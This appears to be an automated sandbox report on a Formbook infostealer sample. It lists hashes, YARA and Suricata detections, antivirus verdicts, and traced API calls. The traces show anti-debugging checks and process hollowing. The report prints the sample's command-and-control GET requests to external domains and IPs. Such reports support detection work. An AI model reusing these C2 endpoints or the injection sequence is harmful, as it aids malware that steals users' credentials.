Summary | ZeroBOX

dollzx.exe

Formbook .NET framework(MSIL) AntiDebug PE File PE32 .NET EXE AntiVM
Category Machine Started Completed
FILE s1_win7_x6403_us July 20, 2023, 7:44 a.m. July 20, 2023, 7:46 a.m.
Size 650.0KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 e6c0c8446f60500e85ea72e966bfcc76
SHA256 514296a4695033c9454b509d153dcbbdd3d821736f0cdb79bae13ee302351de5
CRC32 EB8DA481
ssdeep 12288:IS6ln+flo/XciMvM5Yh46MIWQSSp5N+dCAf3RJakHZWmtkFvqUDK:RTdCjEMqhZMI91TN+AA546VSFvN2
PDB Path DHjk.pdb
Yara
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult
  • Is_DotNET_EXE - (no description)
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.103:50800 -> 164.124.101.2:53 2023883 ET DNS Query to a *.top domain - Likely Hostile Potentially Bad Traffic
TCP 192.168.56.103:49166 -> 198.54.117.210:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 198.54.117.210:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49166 -> 198.54.117.210:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 31.31.196.193:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 31.31.196.193:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 31.31.196.193:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00401638
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00401638
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x004015b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
pdb_path DHjk.pdb
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
suspicious_features GET method with no useragent header suspicious_request GET http://www.djtescao.store/xy18/?sXLXkX3=m19SvEhrSItrAUKX3Xbl1jz8SJ1SDm/8MimMTSxEHPRpqSCgmUQJbyfsnS8hrIVi1xs+Vqey&CdTHm=Cj6tO
suspicious_features GET method with no useragent header suspicious_request GET http://www.ex-sideproject.com/xy18/?sXLXkX3=X56z6+zy1MKrxoKWKU//XnGdtRx6ueWJln4Kjq7+x+gu62rHDZsWTxOq5YLIV5B2+0bJxpLu&CdTHm=Cj6tO
request GET http://www.djtescao.store/xy18/?sXLXkX3=m19SvEhrSItrAUKX3Xbl1jz8SJ1SDm/8MimMTSxEHPRpqSCgmUQJbyfsnS8hrIVi1xs+Vqey&CdTHm=Cj6tO
request GET http://www.ex-sideproject.com/xy18/?sXLXkX3=X56z6+zy1MKrxoKWKU//XnGdtRx6ueWJln4Kjq7+x+gu62rHDZsWTxOq5YLIV5B2+0bJxpLu&CdTHm=Cj6tO
domain www.cygoodshopgogo.top description Generic top level domain TLD
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 2293760
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a40000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1208
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f31000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 1208
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73f32000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 1245184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02070000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02160000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00512000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00545000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0054b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00547000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0052c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00680000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0051a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0053a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00537000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0052a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00536000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00681000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00682000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0051c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00683000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00684000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0052d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0052e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00685000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00686000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00687000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 1208
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00688000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2496
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00bd0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
section {u'size_of_data': u'0x000a1800', u'virtual_address': u'0x00002000', u'entropy': 7.765476210869865, u'name': u'.text', u'virtual_size': u'0x000a167c'} entropy 7.76547621087 description A section with a high entropy has been found
entropy 0.994611239415 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Used Formbook[m] rule Win_Trojan_Formbook_m_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2496
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000250
1 0 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PEL®tCà  Ò ñð@ð@.text„ÑÒ `
base_address: 0x00400000
process_identifier: 2496
process_handle: 0x00000250
1 1 0

WriteProcessMemory

buffer: @
base_address: 0x7efde008
process_identifier: 2496
process_handle: 0x00000250
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PEL®tCà  Ò ñð@ð@.text„ÑÒ `
base_address: 0x00400000
process_identifier: 2496
process_handle: 0x00000250
1 1 0
Process injection Process 1208 called NtSetContextThread to modify thread in remote process 2496
Time & API Arguments Status Return Repeated

NtSetContextThread

registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4321568
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000024c
process_identifier: 2496
1 0 0
Process injection Process 1208 resumed a thread in remote process 2496
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x0000024c
suspend_count: 1
process_identifier: 2496
1 0 0
Elastic malicious (high confidence)
McAfee Artemis!E6C0C8446F60
Sangfor Suspicious.Win32.Save.a
VirIT Trojan.Win32.MSIL_Heur.A
Symantec Scr.Malcode!gdn34
Cynet Malicious (score: 100)
APEX Malicious
Kaspersky UDS:DangerousObject.Multi.Generic
Avast RATX-gen [Trj]
McAfee-GW-Edition BehavesLike.Win32.Generic.jc
Sophos Mal/Generic-S
SentinelOne Static AI - Malicious PE
Gridinsoft Trojan.Win32.FormBook.bot
Microsoft Trojan:Win32/Sabsik.FL.A!ml
ZoneAlarm UDS:DangerousObject.Multi.Generic
Rising Malware.Obfus/MSIL@AI.80 (RDM.MSIL2:WCtuKbfbvaPB/9Lj8uixwQ)
MaxSecure Trojan.Malware.300983.susgen
Fortinet MSIL/Kryptik.AIWZ!tr
AVG RATX-gen [Trj]
DeepInstinct MALICIOUS
CrowdStrike win/malicious_confidence_100% (W)
Time & API Arguments Status Return Repeated

NtResumeThread

thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 1208
1 0 0

NtResumeThread

thread_handle: 0x00000150
suspend_count: 1
process_identifier: 1208
1 0 0

NtResumeThread

thread_handle: 0x00000198
suspend_count: 1
process_identifier: 1208
1 0 0

NtResumeThread

thread_handle: 0x00000244
suspend_count: 1
process_identifier: 1208
1 0 0

CreateProcessInternalW

thread_identifier: 2500
thread_handle: 0x0000024c
process_identifier: 2496
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\dollzx.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\dollzx.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000250
1 1 0

NtGetContextThread

thread_handle: 0x0000024c
1 0 0

NtAllocateVirtualMemory

process_identifier: 2496
region_size: 192512
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000250
1 0 0

WriteProcessMemory

buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ô͹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PEL®tCà  Ò ñð@ð@.text„ÑÒ `
base_address: 0x00400000
process_identifier: 2496
process_handle: 0x00000250
1 1 0

WriteProcessMemory

buffer:
base_address: 0x00401000
process_identifier: 2496
process_handle: 0x00000250
1 1 0

WriteProcessMemory

buffer: @
base_address: 0x7efde008
process_identifier: 2496
process_handle: 0x00000250
1 1 0

NtSetContextThread

registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4321568
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x0000024c
process_identifier: 2496
1 0 0

NtResumeThread

thread_handle: 0x0000024c
suspend_count: 1
process_identifier: 2496
1 0 0